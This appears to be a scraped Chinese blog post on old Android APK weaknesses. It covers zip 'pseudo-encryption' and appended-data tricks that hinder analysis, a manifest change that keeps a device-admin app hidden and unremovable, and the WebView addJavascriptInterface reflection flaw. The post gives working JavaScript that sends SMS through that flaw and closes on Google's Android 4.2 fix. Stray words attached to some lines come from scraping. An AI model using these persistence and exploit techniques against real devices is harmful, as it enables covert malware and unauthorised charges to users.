apk漏洞记录1:伪加密+设备管理器不可删+webview漏洞

伪加密1:apk打开须要密码javascript

成因:修改zip的头,把文件的加密标志设置为ture,还原就把加密标志设置为false.利用了Android处理zip文件不判断头里的加密信息,其余压缩软件,java默认实现的zip api都有检测zip头中的加密信息 java


伪加密2:apk压缩文件被破坏android

成因:APKPC上面能够看做一个压缩文件,在Android系统里面它就是一个手机系统软件文件。Android系统对APK的识别是从标志头到标志尾,其余多余数据都会无视。因此说在标志尾添加其余数据对把APK看作压缩文件的PC端来讲这个文件被破坏了,因此你要对其进行解压或者查看都会提示文件已损坏,用反编译工具也会提示文件已损坏,可是它却不会影响在Android系统里面的正常运行和安装并且也能兼容到全部系统。使用压缩文件修复工具也能把它修复好让咱们作的保护消失。web



设备管理器不可删除:某app申请到了设备管理器权限后,在设备管理列表隐身,而且不可被卸载,如obadapi

成因:安全

<receiver android:name="LockListener"
            android:permission="android.permission.BIND_DEVICE_ADMIN">  
            <meta-data android:name="android.app.device_admin"
                      android:resource="@xml/lock_screen" />
        <intent-filter>  
               <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  />
        </intent-filter>  
       
        </receiver> 
app

若是去掉上面的<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  /> ,android仍是容许app注册成为设备管理器,可是此app会在设备管理列表隐身,且不可被取消设备管理器权限。函数


webview漏洞:  Android系统经过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于加强javascript的功能。可是系统并无对注册JAVA类的方法调用的限制。致使攻击者能够利用反射机制调用未注册的其它任何JAVA类,最终致使javascript能力的无限加强。工具

举例:加密

咱们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

         WebView webview = new WebView(context);

         WebSettings webset= webview.getSettings();
         webset.setJavaScriptEnabled(true);
         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

         利用该漏洞的外部javascript脚本:

         <script>

               var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

               obj_smsManager.sendTextMessage("159********",null,"test",null,null);

         </script>


    出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本以后,规定容许被调用的函数必须以@JavascriptInterface进行注解,因此若是某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。

相关文章
相关标签/搜索